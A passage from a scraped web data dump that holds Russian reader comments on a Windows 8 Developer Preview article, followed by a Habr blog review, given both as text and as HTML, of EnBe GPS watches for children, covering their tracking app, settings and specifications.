драйвера пришлось установить вручную, думаю что из-за того что карточку WiFi/WiMAX не определил и не смог всё скачать из Windows Update. Не запускаются, конечно, Metro приложения, но памяти потребляет таки меньше, чем Windows 7 — как и обещали на презентации.", "UFO just landed and posted this here", "Может, я что-то делаю не так, но семёрку не переустанавливал с момента выхода RTM и никакого падения производительности не заметил со временем :) А в Windows 8 есть ощущение что все эффекты анимации при разворачивании окон и т.п. сделали чуточку быстрее. Вот и весь секрет скорости...", "Семерке было недели две, набор софта идентичный, я просто не так давно поменял ссд по гарантии, так что сравниваю вплоне адекватно :)", "Подключите внешний экран, уже обнаружили, что метро-приложения не стартуют, если высота экрана меньше 768 пх", "UFO just landed and posted this here", "круговорот Unity в природе =)", "Хм... Нашёлся несогласный. С чем вы несогласный, человек? С тем, что ещё работать и работать (win 8 будет в сентябре 2012)? Или с тем, что x86 не станут есть меньше батареи и меньше греться?", "Поставить ссд в нетбук мне тоже не помешало бы :) Думаю подобные проблемы отпали бы.", "UFO just landed and posted this here", "Это идея, поставлю я, наверное, драйвера на видео нормальные.", "Так про это ещё на презнтации было сказано, про ограничения на работу Metro приложений. С ними я поигрался на основном ПК :)", "У меня немного не нетбук: квад9550 на 3.5 ггц, 8 гиг рам и 6970 :) Самую малость не нетбук...", "Skype у кого нибудь работает? у меня не вылетает при авторизации.", "*вылетает", "У меня таскбар слева был ещё когда юнити в планах не было :) Теперь понятно, откуда они слизали его :)", "Да-да, я вас понял. Только без паники.", "На первый взгляд несовместимые.\nНо риббон — это в каком-то роде предшественник метро, и суть у них похожая: кнопки/действия организованы в категории, при выбора категории, в ней открываются большие кнопки команд. Осталось только сделать табы покрупнее под пальцы и дизайн иконок в риббоне в стиле метро.", "Чтобы создать успешный продукт, нужно сначала сделать его сделать таким как видишь его ты, потом написать много обзоров (естественно, не забыв про Хабр), почитать комментарии и на основе их доработать! Мне кажется так делает большинство компаний — вот и Microsoft со своей Win8.", "угу и в менюшке пункта «закрыть» обычно нету))", "По моему опыту использования Metro на Windows Phone особых трудностей это пока не вызывало. Исключение составляют некоторые приложения, которые мудрят со стандартным видом элементов и цветами (н-р совсем непонятно что кликабельно а что нет в том же Foursquare). Мне кажется если бы первые буквы кликабельных надписей имели подчеркивание или какую-либо другую, пусть даже еле заметную отличительную черту в некоторых случаях работать с интерфейсом было бы проще.", "Мне одному кажется, что этим самым они позорятся?\nИм уже достаточно много лет, чтобы научиться делать всё пиздато, не первый раз систему выпускают же, а тут мусорок на весь инет выносят, теряют имидж...\nНа данный момент выглядит как 2 разных компа в 1ом, отвратительно...", "Возможно... Засиделись они, считая себя самыми передовыми, теперь догоняют конкурентов. Будем надеятся из этого выйдет что-нибудь стоящее.", "UFO just landed and posted this here", "Дрова, вроде да — подходят от семерки.\nОднако, сделав оценку системы до установленых дров и после — был нежданчик — система оценки на видеоадаптеры понизила =( Не знаю уж чей косяк — мягких или нвидии...\nДа и в той студии обычные проекты не запускаются — надо еще фреймворк ставить четвертый — тоже неприятная неожиданность =(", "ну так если, например, галочка будет, то она и будет наверняка изменять этот ключ в реестре", "Игры не запускаются, так как многие используют NDК, который, пока, поддерживает только ARM бинарники.", "Apple тоже много лет и они тоже раздают беты девелоперам.", "Я на ноут рабочий поставил. Вполне удобно.", "Работает. Проблем не было.", "UFO just landed and posted this here", "Какая версия? У меня тоже вылетает при авторизации.", "5.5.0.117", "Я только не понимаю, где здесь мусорок? Я сто лет подобного шага ждал от МС и от метро в восторге. А пре-бета оно и есть пре-бета", "Мож кому будет тоже интересно вчера установил на обычный настольный ПК.\nwww.youtube.com/watch?v=mOnYTWMWxUk\nОщущения какието странные четно говоря. Надеюсь, что к обычному Aero с нормальным пуском тоже можно будет переходи. На планшете удобно конечно, но вот с мышкой не найс.", "Skype вчера выпустили обновление для поддержки Windows 8", "А у меня в новой windows только одна проблема. При игре в старкрафт 2, если уводишь курсор к левой границе экрана, то мышка попадает на активную область переключения между metro и обычным десктопом, а клик сворачивает игру. Подскажите, пожалуйста, как решить данную проблему?", "Скажите, а какая внутренняя версия у Windows 8? У семерки 6.1 была, если не ошибаюсь.", "Судя по keynote, версия ядра — 6.2, если я не ошибаюсь.", "", "Временно отключать метро ключем реестра, можно даже делать два ядрылка на включение и выглючение его, перезагрузка не требуется.\nНу или запустить игру в оконном режиме.", "Ничего общего", "Какие же страшные интерфейсы", "А у меня почему-то с контейнера установка не пошла. Точнее началась и остановилась на первом появлении цветного экрана. Окно с выбором языка и т.п. почему-то не появляется.", "странно, если бы было иначе, т.к. структура iso одинаковая, tool'зе нужно всего лишь распаковать iso на флэшку и прописать загрузчик..)", "У меня таскбар слева с момента выхода 7ки. До этого пытался на ХР сделать, но из надписей получается каша.", "а как запустили инсталяцию в VB? у меня при установке падает черным экраном.", "Поюзал это чудо на ноуте. Сразу видно, что предназначена для планшетов.\nЕще долго пытался понять как выключить комп. Пришлось пройти квест Log off — Shutdown. Иначе никак =(", "Щелкаете по иконке пользователя, выбираете Log Off, он выпадает в локскрин, затем выходите на экран где логинитесь, там и находится искомая вами кнопка.\nНашел сразу, как только начали задавать такие вопросы.", "А всего лишь, надо выключить комп...", "а вы попробуйте выключить десктопную семерку ;)\nне железной кнопочкой.", "Start -> Shut Down, 2 клика =)", "да, сорри, протупил.\nтам в 4 клика выходит.", "Просто оформление таскбара похоже. И кроме того, меня посетило запоздалое прозрение =), всё удивлялся зачем в Unity так не экономно расходуется место. А для использования на планшетах пожалуй удобно, не промахнешься.", "Чтобы выключить компьютер надо нажать метро-Пуск, сбоку в зеленой менюшке Power, а там и Shutdown и Restart есть. Все просто :).", "Насчет ярлыков — спасибо, дельная идея!", "В параметрах виртуальной машины (System → Motherboard) надо поставить галочку Enable IO APIC.", "Зачем они вернули кнопку «Вверх на 1 уровень»? оО", "А почему бы и нет? Порой это весьма удобно, да и перешедшему с XP, а не 7ки привычнее.\nПо backspace случайно не работает? Было бы вообще шикарно.", "Alt+вверх\nBackspace — это для «Назад».", "ну так есть интерактивная адресная строка", "Но «перешедшему с XP, а не 7ки привычнее.». Использование адресной строки далеко не очевидно. Я, далеко не чайник, обнаружил эту возможность только через несколько месяцев, да и то вроде случайно. Сейчас да, удобно.", "СТранно, потому что Мягкие много твердили о своей новой адресной строке", "Мы вам не мешаем спорить?", "Пресс-релизы и мануалы не читал) Как, пожалуй, и большинство юзеров.", "Да и вообще, microsoft не дураки, если вернули кнопку — значит, была нужда.", "Ой, заминусовали... как мило.\nДа нет, конечно пиздатый шаг от МС и я очень рад Метро. Понимаете, я не понимаю нахрена выпускать пре-бета...\nВ этом и заключается мусорок — они не продумали ещё всё и система мега сырая и хотят, чтобы мы начали подрачивать на картиночки (которые на самом деле так себе).\nЛучше бы выпустили хороший продукт на рынок просто.", "Они не хотят, чтобы мы подрачивали на картиночки, они хотят чтобы мы эти картиночки вживую взяли и посмотрели что и как. Или вы на конструктивную критику не способны? Сами-то 8ку в руках держали? Прекрасная система, достойная последовательница семерки. А то, что они дают SDK, чтобы разработчики могли приготовиться к выходу ОС — вообще шик. Или вас не раздражает что выходит новая версия ОС а потом полгода ждешь пока нужные программы обновятся?", "СДК, товарищ! Интерфейсы почти готовы, всё, писать можно (по крайней мере пытаться и осваивать/копать/смотреть что где как).\nА как вы вообще фидбек получть должны? у МС отлично налажен этот канал (ну по крайней мере я вижу как они читают/отвечают и иногда даже исправляют ВП7).", "Более или менее, но не в серьёзных целях, пока. Очень мышка тянется к пуску, которого нет...", "ахаха :D мультиакк детектед)))", "А что, что-то изменилось, кроме рабочего стола?\nИ не нужно, друзья, говорить, что мол это же превью — всё как есть в превью, за мелкими изменениями будет и в конечном результате.", "Я конечно не интерфейсо-специалист, но как архитектор могу сказать, что интерфейсы выглядят очень сыро.\nВ статье написанно «заточенность под планшеты», как они заточенны под планшеты если для установки нужно искать клаву... Ну серьезно... о чем они думали.\nФидбек как получать? У них не достаточно денег чтобы протестить свой собственный продукт? Смешно.", "Тоже слева — это все из-за широкоформатных экранов.", "Ну мне кажется я достаточно конструктивно откомментировал то, что они сделали, я откомментировал это как маркетинговую стратегию, их подход просто не работает. И да, подержал на виртуале, так себе.\nМеня лично не слишком раздражает, у меня как-бы заботы другие.", "UFO just landed and posted this here", "Далась вам эта «боковая панель»... Это называется панель задач, taskbar. В винде она начиная с 95, иконками — начиная с семерки. А слева я ее ставлю начиная с появления широкоэкранных мониторов. В моем случае — с Windows XP.", "В статье написанно «заточенность под планшеты», как они заточенны под планшеты если для установки нужно искать клаву... Ну серьезно... о чем они думали.\nА вы много знаете ОС, которые устанавливаются на компьютер без использования клавиатуры? Если что, то явно планшетная ios для первого включения не то, что клавиатуру хочет, а целый компьютер.", "UFO just landed and posted this here", "Вот «пуск», на мой взгляд, абсолютно не похож. У MS — полноэкранная лента с квадратными кнопками, а у юнити — просто окошко с иконками.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Будем надеятся, что в будующем этих явных недостатков не будет вот и всё.", "Нет, это Control Panel. «Пуск» — это первый скриншот, прямоугольники на зеленом фоне.", "Если dash это то, что служит убунтовским аналогом меню «пуск», то видел. За линзы не поручусь.", "Необходимость использования клавиатуры для начала установки ОС — это не недостаток, на мой взгляд. Не могу представить ситуацию, в которой надо переустановить ОС, но нет возможности подключить клавиатуру.", "UFO just landed and posted this here", "Не, совсем не похоже на восьмерку. Такая функциональность в ней, в принципе, имеется, но совсем в другом исполнении и с другой стороны прикручено." ], "author": [ "Егор Ивкин (IeN)", "naum (naum)", "Антон (aik)", "Антон (aik)", "HWgourmand", "HWgourmand", "Антон (aik)", "Антон (aik)", "Руслан Панов (RusVicious)", "Shirixae", "Андрей (alias)", "Shirixae", "Shirixae", "HWgourmand", "Андрей (ICEman258)", "HWgourmand", "Антон (aik)", "Shirixae", "Антон (aik)", "Андрей (ICEman258)", "Евгений (fenrirgray)", "Алексей Сидоров (Gorthauer87)", "Pavel Sokolov (crea7or)", "eRaider", "Shirixae", "Shirixae", "Shirixae", "legato_di (legato_di)", "Shirixae", "Shirixae", "Анжел Божинов (Anzhel Bozhinov) (Mairon)", "Антон (aik)", "Евгений (EvgK)", "naum (naum)", "Shirixae", "Антон (aik)", "Антон (aik)", "Arkady Shapkin (KindDragon)", "Shirixae", "Евгений (EvgK)", "Shirixae", "Shirixae", "Евгений (EvgK)", "Shirixae", "Антон (aik)", "Pirate (Pirate)", "Антон (aik)", "Shirixae", "Евгений (EvgK)", "Arkady Shapkin (KindDragon)", "Антон (aik)", "Антон (aik)", "pirelly", "Владимир (Moze)", "Антон (aik)", "Антон (aik)", "Антон (aik)", "Gosha Arinich (goshakkk_reborn)", "Николай (CLR)", "pirelly", "Shirixae", "pirelly", "Shirixae", "Максим Куприянов (Xlab)", "dutchakdev", "Алексей (elisium)", "Роман Тик (roman_tik)", "Shirixae", "Алексей (elisium)", "Андрей (ICEman258)", "{}", "Андрей (ICEman258)", "Shirixae", "Shirixae", "{}", "Migelito (Larche)", "Максим Куприянов (Xlab)", "Алексей (elisium)", "{}", "Алексей (elisium)", "Андрей (ICEman258)", "Shirixae", "iconpainter (iconpainter)", "iconpainter (iconpainter)", "Shirixae", "Максим Куприянов (Xlab)", "Пётр (diamant)", "svarda", "Евгений (fenrirgray)", "Алексей К. (novator)", "Астронавт (Karetnikov)", "svarda", "{}", "curlydevil", "Nick (lukaville)", "Павел Антокольский (Zigmar)", "metanol (metanol)", "Георгий (SonicGD)", "Георгий (SonicGD)", "{}", "Евгений (EvgK)", "Георгий (SonicGD)", "Marat Kiniabulatov (Eskimo)", "Сергей Стрельников (PlazmX)", "Андрей Филиппов (sunburn)", "Андрей Филиппов (sunburn)", "ncix", "VenomBlood", "Евгений Тарасов (tranquil)", "Shirixae", "Владимир (Hobbit667)", "Алексей (somneart)", "Алексей (WildHorn)", "zelenin (zelenin)", "Igor (TIgorA)", "Станислав Свириденко (Terol)", "Колосов Никита (Anexroid)", "Михаил Наглий (pixelcore)", "pirelly", "Михаил Наглий (pixelcore)", "pirelly", "Михаил Наглий (pixelcore)", "Migelito (Larche)", "kochev", "Андрей Филиппов (sunburn)", "andrewpey", "Владимир (Hobbit667)", "Nighthawk aen Saevherne (nighthawk)", "LbICbIY (LbICbIY)", "Владимир (Hobbit667)", "Nighthawk aen Saevherne (nighthawk)", "Владимир (Hobbit667)", "Руслан Касимов (infom)", "Nighthawk aen Saevherne (nighthawk)", "Nighthawk aen Saevherne (nighthawk)", "Астронавт (Karetnikov)", "Nighthawk aen Saevherne (nighthawk)", "Marat Kiniabulatov (Eskimo)", "Юрий Сизов (PycBouH)", "Никита (NekitoSP)", "punch (punch)", "Астронавт (Karetnikov)", "Константин (Colobock)", "Астронавт (Karetnikov)", "{}", "Антон (aik)", "Антон (aik)", "{}", "Антон (aik)", "{}", "{}", "Астронавт (Karetnikov)", "Антон (aik)", "Антон (aik)", "Антон (aik)", "{}", "Антон (aik)" ], "children": [ [ 15175941 ], [ 15175943 ], [], [ 15176003 ], [ 15175947, 15175949, 15176077 ], [ 15175951, 15176163 ], [ 15175955, 15175963 ], [ 15176161 ], [ 15175959 ], [ 15175969, 15175973 ], [ 15175961, 15175965 ], [ 15176011 ], [], [ 15175967, 15176051 ], [ 15175971 ], [], [ 15176085 ], [ 15175975, 15176087 ], [ 15175985 ], [ 15175987 ], [ 15175989 ], [ 15175981 ], [ 15175997 ], [ 15176115 ], [ 15175999 ], [], [ 15176113 ], [ 15175995, 15176007 ], [], [], [], [ 15176023 ], [ 15176005, 15176009 ], [ 15176109 ], [], [ 15176017 ], [ 15176013, 15176015 ], [ 15176019 ], [ 15176025 ], [ 15176021 ], [], [ 15176035 ], [], [], [], [ 15176029, 15176037 ], [ 15176031 ], [ 15176039 ], [ 15176047 ], [], [], [], [ 15176045, 15176057, 15176093, 15176171 ], [ 15176049, 15176053, 15176069, 15176131, 15176213 ], [ 15176055 ], [ 15176127 ], [], [], [], [], [ 15176059 ], [ 15176061 ], [], [ 15176089 ], [], [ 15176071, 15176075 ], [], [ 15176073 ], [ 15176079, 15176081 ], [ 15176083, 15176095 ], [], [], [ 15176091 ], [ 15176097 ], [ 15176167 ], [ 15176105, 15176165 ], [ 15176107 ], [ 15176099 ], [], [], [], [], [ 15176103, 15176133, 15176145 ], [], [], [ 15176201 ], [], [ 15176117 ], [], [], [ 15176119, 15176129, 15176141 ], [], [ 15176125 ], [], [ 15176135 ], [], [], [], [ 15176137 ], [], [ 15176139 ], [], [ 15176207 ], [], [], [ 15176155 ], [ 15176151 ], [], [ 15176157 ], [ 15176185 ], [], [], [], [], [ 15176181, 15176221 ], [ 15176187 ], [ 15176183 ], [ 15176173 ], [ 15176175 ], [ 15176177 ], [ 15176179 ], [], [], [], [], [], [ 15176191 ], [ 15176193, 15176195 ], [], [ 15176197 ], [ 15176199 ], [ 15176203, 15176205 ], [ 15176215 ], [], [], [ 15176209, 15176211 ], [ 15176223 ], [ 15176219 ], [], [], [], [ 15176229 ], [], [], [ 15176227 ], [ 15176231 ], [ 15176239 ], [ 15176233 ], [ 15176235, 15176237 ], [ 15176241 ], [ 15176243 ], [ 15176245 ], [], [ 15176247 ], [], [ 15176249 ], [] ] }
411,465
ru
https://habr.com/ru/post/411465/
Обзор детских часов с GPS Enbe: просто и функционально
Обычно интерес к детским часам возрастает к концу лета: к началу учебного года, однако и летом девайс может оказаться полезным. Детские лагеря, дачи, отдых у моря, где дети могут и, в общем-то, должны проявлять самостоятельность. Мы по старой доброй традиции устраиваем небольшую распродажу для читателей нашего блога на полезные гаджеты: сегодня это — модели детских часов EnBe. Удивить мы никого не пытаемся: детские часы с GPS уже довольно давно многочисленно продаются. Цена устройство колеблется сегодня, наверное, уже от 600 рублей до нескольких тысяч, а в нише есть не только «самобытные» производители, но и крупные бренды: Huawei, Alcatel, Xiaomi. Основные возможности детских часов с сим-картой сводятся к трекингу локации и быстрому доступу к звонку родителям. Изначально производители так и позиционировали устройства: альтернатива телефону, который можно сломать/разбить/потерять. А тут: дешево, сердито и всегда под рукой (на руке). EnBe Собственно, EnBe — это лаконичное название — это аббревиатура от Enjoy the Best: под таким брендом их локализовали в России. Часы работают в паре с русифицированным приложением и помогают отследить местоположение ребенка, а также связаться с ним, позвонив на запястье. Среди центральных функций: Трекинг GPS/AGPS/LBS/Wi-fi Двусторонняя связь Bluetooth-метка (возможность, которую предлагается использовать в ТЦ) Все настраивается родителями в приложении. Девайс работает с IOS и Android устройствами. Чтобы начать работу, необходимо сосканировать QR-код и пройти регистрацию. Тот из родителей, кто сделал это первым, становится администратором часов с полным доступом к настройкам и возможностью назначать «наблюдателей». Приложение довольно простое, хоть и имеет два меню настроек. Одно из них вызывается в левом углу, другое — в правом. В «правом» меню все довольно просто: тут вы найдете настройку безопасных зон и оповещений к ним (вход/выход), возможность установить до 10 разрешенных контактов, меню расписания занятий, шагомер и уведомления. Какие тут есть особенности. Шагомер. Он не работает по умолчанию: чтобы запустить подсчет шагов, необходимо изначально задать цель. В противном случае вы будете видеть «0». Расписание Выполняет формальные функции напоминания. На часах выглядит не очень наглядно. По сути, для того, чтобы ребенок мог самостоятельно просмотреть на часах информацию о том, какой у него урок, и, чтобы родители не забыли. Настраивается в два этапа: для начала нажатием на плюсик в центральной части отмечаются уроки с понедельника по пятницу (обычно в таком возрасте дети еще не учатся по субботам, так что выглядит логично), а затем отмечается время уроков в левой колонке. В общем-то, вероятно, по логике создателей девайса «расписание» может работать в паре с шагомером, и родители могут отметить подозрительную активность во время литературы или математики. А где ты был с 11 до 11.45? Уведомления Как уже отмечалось, они не только сыплются в виде Push, но и сохраняются в специальной папке. Однако настройка уведомлений осуществляется уже в другом окне: как раз во втором меню. Уведомления — лишь малая часть того, что можно сделать, и эта настройка вызывается иконкой «шестеренки». Также отсюда выполняется доступ к сообщениям: Ребенок получит текст на дисплей: Здесь же можно настроить «спящий режим» часов с целью энергосбережения и режим «трекинга данных». О том, как именно определяется местоположние в конкретный момент будет подсказано при клике на «иголку» на карте: И тут же, слева — дистанционное выключение часов. И это как раз одна из тех возможностей, которая показалась нам довольно интересной. Включенные часы EnBe с установленной сим-картой может выключить только родитель-администратор: у ребенка, как бы он ни нажимал на кнопку, такой возможности нет. Это любопытная возможность, которая не позволит маленькому хитрецу провести маму и папу, сославшись на то, что часы внезапно разрядились. Безусловно, есть и еще несколько хаков: банально вытащить сим-карту можно, но тогда сработает датчик снятия с руки и прийдет уведомление! В общем, что-то подозрительное произойдет, и для родителей это будет сигналом к какому-либо действию. Также, на одном из скриншотов вы могли заметить дополнительные настройки снизу. Они вызываются крупной желтой кнопкой. Тут все довольно просто: установка номеров родителей, установка номера «SOS» и возможность скрытого звонка: нажав на кнопку у вас появится поле для ввода номера — на этот номер поступит звонок с часов. Слева есть три иконки: Bluetooth — также одна из интересных возможностей, хоть и довольно простая, позволяет контролировать ребенка на небольших дистанциях. Производитель подсказывает модель использования в крупных ТЦ, когда родитель зазевался, ребенок загляделся, а потом по рации передают «Вася Иванов, родители ожидают тебя у центрального входа». Вторая возможность — поиск часов в комнате. Третья — история маршрутов. У самих часов также есть меню с доступом к некоторым функциями. Часы. Базово они в режиме ожидания. Чтобы просто посмотреть время, нужно нажать на кнопку включения. Всего на корпусе две кнопки: включение и SOS. В меню разовое нажатие кнопки SOS выполняет функцию «назад». Чуть более долгое — звонок на заданный номер. Управление часами сенсорное. Среди дополнительных возможностей, доступных ребенку, калькулятор, управление режимами звука, смена тем и некоторые другие. Также на часах можно просмотреть последнее полученное сообщение, расписание, календарь, адресную книгу. Для удобства оба номера родителей и цифровая кнопка «SOS» дополнительно вынесены в «предменю». Корпус часов прямоугольный, доступный в нескольких цветах. С другой стороны от кнопок располагается динамик: Со «стороны рта» — дырка микрофона, на этой же стороне, в ремень, интегрирован GPS-датчик: Крышка открывается легко: с доступом к сим-карте проблем не будет. С тыльной стороны часов также гнездо для зарядки и датчик снятия с руки. Заряжается модель с помощью своей док-стации. Она показалась довольно жесткой, и если закрыть ее — не проблема, то открывается она уже под усилием. Всего же внутри коробки: гарантийный талон, инструкция, кабель для зарядки и зарядная станция. Доступен выбор по цветам: Технические характеристики Материал корпуса: пластик Тип SIM-карты: MicroSIM Совместимость: ANDROID 4.0+, IOS 7+ Тип экрана: TFT Диагональ: 1,22 дюйма Сенсорный экран: да Спутниковая навигация: GPS, A-GPS, LBS Частота GSM: 850 MHZ/900 MHZ/1800MHZ/1900 MHZ Датчики: датчик снятия с руки Поддержка Wi-Fi: да Поддержка Bluetooth: да Работа в режиме сотового телефона: да Встроенный динамик: да Встроенный микрофон: да Время ожидания: 72 часа Емкость аккумулятора: 350 мАч При включенном полном режиме трекинга + шагомер время работы — около 24 часов. Поддержка языков: русский Водонепроницаемость: IP65, защита от брызг воды Размеры: 50X40X15 мм Вес: 45 г Особенности: шагомер, расписание занятий Гарантия: 12 мес. Как итог: неплохие, стабильные часы с интервалом обновления позиции в пять минут и рядом полезных особенностей. Отметить можно наличие информационного раздела (расписание), невозможность выключить с руки, ни случайно, ни нарочно. Также стоит поставить в плюс гибкость в настройках трекинга позиции и возможность работы в режиме «часофона». Часы умеют «взаимозаменять» родителей: если, к примеру в режиме SOS папа не подходит, то EnBe автоматически звонят маме. Тоже полезно. Также нельзя не упомянуть важную особенность: чтобы часы работали корректно по времени, необходимо три-четыре раза полностью зарядить/разрядить/зарядить аккумулятор. Как купить Сегодня часы EnBe представлены двумя моделями. Вторая модель, которая считается «младшей», не сенсорная и в целом попроще.
<div xmlns="http://www.w3.org/1999/xhtml">Обычно интерес к детским часам возрастает к концу лета: к началу учебного года, однако и летом девайс может оказаться полезным. Детские лагеря, дачи, отдых у моря, где дети могут и, в общем-то, должны проявлять самостоятельность.<br/> <br/> <img src="https://habrastorage.org/web/0bd/bb5/c0c/0bdbb5c0c57f4b8d9ded53356066f2ff.JPG"/><br/> <br/> Мы по старой доброй традиции устраиваем небольшую распродажу для читателей нашего блога на полезные гаджеты: сегодня это — модели детских часов EnBe.<br/> <a name="habracut"></a><br/> Удивить мы никого не пытаемся: детские часы с GPS уже довольно давно многочисленно продаются. Цена устройство колеблется сегодня, наверное, уже от 600 рублей до нескольких тысяч, а в нише есть не только «самобытные» производители, но и крупные бренды: Huawei, Alcatel, Xiaomi. <br/> <br/> Основные возможности детских часов с сим-картой сводятся к трекингу локации и быстрому доступу к звонку родителям. Изначально производители так и позиционировали устройства: альтернатива телефону, который можно сломать/разбить/потерять. А тут: дешево, сердито и всегда под рукой (на руке). <br/> <br/> <b>EnBe</b><br/> <br/> Собственно, <a href="http://medgadgets.ru/shop/enbe-enjoy-the-best.html?utm_source=geek&amp;utm_medium=enbee&amp;utm_campaign=verch">EnBe</a> — это лаконичное название — это аббревиатура от <b>En</b>joy the <b>Be</b>st: под таким брендом их локализовали в России. Часы работают в паре с русифицированным приложением и помогают отследить местоположение ребенка, а также связаться с ним, позвонив на запястье. <br/> <br/> Среди центральных функций: <br/> <br/> <ul> <li>Трекинг GPS/AGPS/LBS/Wi-fi</li> <li>Двусторонняя связь</li> <li>Bluetooth-метка (возможность, которую предлагается использовать в ТЦ)</li> </ul><br/> Все настраивается родителями в приложении. Девайс работает с <a href="https://itunes.apple.com/ru/app/enbe/id1157810035?l=en&amp;mt=8">IOS</a> и <a href="https://play.google.com/store/apps/details?id=ooo.BestBrendsElectronics.enbe">Android</a> устройствами.<br/> <br/> Чтобы начать работу, необходимо сосканировать QR-код и пройти регистрацию. Тот из родителей, кто сделал это первым, становится администратором часов с полным доступом к настройкам и возможностью назначать «наблюдателей». <br/> <br/> Приложение довольно простое, хоть и имеет два меню настроек. Одно из них вызывается в левом углу, другое — в правом. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/15e/08f/794/15e08f794dd34844aedbbee59f1b0faa.jpg" data-src="https://habrastorage.org/web/15e/08f/794/15e08f794dd34844aedbbee59f1b0faa.jpg" data-blurred="true"/><br/> <br/> В «правом» меню все довольно просто: тут вы найдете настройку безопасных зон и оповещений к ним (вход/выход), возможность установить до 10 разрешенных контактов, меню расписания занятий, шагомер и уведомления. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/018/3a9/a37/0183a9a379934c9084a8f41c2f6c30cd.jpg" data-src="https://habrastorage.org/web/018/3a9/a37/0183a9a379934c9084a8f41c2f6c30cd.jpg" data-blurred="true"/><br/> <br/> Какие тут есть особенности. <b>Шагомер</b>. <br/> <br/> Он не работает по умолчанию: чтобы запустить подсчет шагов, необходимо изначально задать цель. В противном случае вы будете видеть «0». <br/> <br/> <b>Расписание</b><br/> <br/> Выполняет формальные функции напоминания. На часах выглядит не очень наглядно. По сути, для того, чтобы ребенок мог самостоятельно просмотреть на часах информацию о том, какой у него урок, и, чтобы родители не забыли. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/fc4/ab9/552/fc4ab9552ff747039717fcee54fa19bf.jpg" data-src="https://habrastorage.org/web/fc4/ab9/552/fc4ab9552ff747039717fcee54fa19bf.jpg" data-blurred="true"/><br/> <br/> Настраивается в два этапа: для начала нажатием на плюсик в центральной части отмечаются уроки с понедельника по пятницу (обычно в таком возрасте дети еще не учатся по субботам, так что выглядит логично), а затем отмечается время уроков в левой колонке. <br/> <br/> <img src="https://habrastorage.org/web/dda/05f/a1d/dda05fa1d5274413bca5478bdda55cf0.JPG"/><br/> <br/> В общем-то, вероятно, по логике создателей девайса «расписание» может работать в паре с шагомером, и родители могут отметить подозрительную активность во время литературы или математики. А где ты был с 11 до 11.45?<br/> <br/> <b>Уведомления</b><br/> <br/> Как уже отмечалось, они не только сыплются в виде Push, но и сохраняются в специальной папке. Однако настройка уведомлений осуществляется уже в другом окне: как раз во втором меню.<br/> <br/> Уведомления — лишь малая часть того, что можно сделать, и эта настройка вызывается иконкой «шестеренки». <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/8f7/672/b4b/8f7672b4b7004771b42abedf75e6bef9.jpg" data-src="https://habrastorage.org/web/8f7/672/b4b/8f7672b4b7004771b42abedf75e6bef9.jpg" data-blurred="true"/><br/> <br/> Также отсюда выполняется доступ к сообщениям: <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/43f/f97/e94/43ff97e9402a41e0b22628389cd9110a.jpg" data-src="https://habrastorage.org/web/43f/f97/e94/43ff97e9402a41e0b22628389cd9110a.jpg" data-blurred="true"/><br/> <br/> Ребенок получит текст на дисплей: <br/> <br/> <img src="https://habrastorage.org/web/c15/06a/5a2/c1506a5a27424fce92b903745fc1c45e.JPG"/><br/> <br/> Здесь же можно настроить «спящий режим» часов с целью энергосбережения и режим «трекинга данных». <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/403/649/940/4036499409164dd28f39793382949533.jpg" data-src="https://habrastorage.org/web/403/649/940/4036499409164dd28f39793382949533.jpg" data-blurred="true"/><br/> <br/> О том, как именно определяется местоположние в конкретный момент будет подсказано при клике на «иголку» на карте: <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/1bd/cc3/a9a/1bdcc3a9a10744a2a6d2bb2c623c4f0f.jpg" data-src="https://habrastorage.org/web/1bd/cc3/a9a/1bdcc3a9a10744a2a6d2bb2c623c4f0f.jpg" data-blurred="true"/><br/> <br/> И тут же, слева — дистанционное выключение часов. И это как раз одна из тех возможностей, которая показалась нам довольно интересной. <br/> <br/> <img src="https://habrastorage.org/r/w1560/web/331/f14/9d9/331f149d9c854f32853f0fe2258da400.png" data-src="https://habrastorage.org/web/331/f14/9d9/331f149d9c854f32853f0fe2258da400.png"/><br/> <br/> Включенные часы EnBe с установленной сим-картой может выключить только родитель-администратор: у ребенка, как бы он ни нажимал на кнопку, такой возможности нет. Это любопытная возможность, которая не позволит маленькому хитрецу провести маму и папу, сославшись на то, что часы внезапно разрядились. <br/> <br/> Безусловно, есть и еще несколько хаков: банально вытащить сим-карту можно, но тогда сработает датчик снятия с руки и прийдет уведомление! В общем, что-то подозрительное произойдет, и для родителей это будет сигналом к какому-либо действию. <br/> <br/> Также, на одном из скриншотов вы могли заметить дополнительные настройки снизу. Они вызываются крупной желтой кнопкой. <br/> <br/> <img src="https://habrastorage.org/r/w1560/web/277/e1f/575/277e1f5753bd43cb8a8751eb06a43b54.png" data-src="https://habrastorage.org/web/277/e1f/575/277e1f5753bd43cb8a8751eb06a43b54.png"/><br/> <br/> Тут все довольно просто: установка номеров родителей, установка номера «SOS» и возможность скрытого звонка: нажав на кнопку у вас появится поле для ввода номера — на этот номер поступит звонок с часов. <br/> <br/> Слева есть три иконки: <br/> <br/> <img src="https://habrastorage.org/r/w780q1/web/210/651/71e/21065171ef264c1fbddf76b80237bd83.jpg" data-src="https://habrastorage.org/web/210/651/71e/21065171ef264c1fbddf76b80237bd83.jpg" data-blurred="true"/><br/> <br/> Bluetooth — также одна из интересных возможностей, хоть и довольно простая, позволяет контролировать ребенка на небольших дистанциях. Производитель подсказывает модель использования в крупных ТЦ, когда родитель зазевался, ребенок загляделся, а потом по рации передают «Вася Иванов, родители ожидают тебя у центрального входа». <br/> <br/> Вторая возможность — поиск часов в комнате. <br/> <br/> Третья — история маршрутов. <br/> <br/> У самих часов также есть меню с доступом к некоторым функциями. <b>Часы</b>.<br/> <br/> Базово они в режиме ожидания. <br/> <br/> <img src="https://habrastorage.org/web/ba5/32e/a9e/ba532ea9e29d4fe3ac979aea6fee49ff.JPG"/><br/> <br/> Чтобы просто посмотреть время, нужно нажать на кнопку включения. <br/> <br/> <img src="https://habrastorage.org/web/371/0e4/4f4/3710e44f44654cbcb3077f07b7d558eb.JPG"/><br/> <br/> Всего на корпусе две кнопки: включение и SOS. В меню разовое нажатие кнопки SOS выполняет функцию «назад». Чуть более долгое — звонок на заданный номер. <br/> <br/> <img 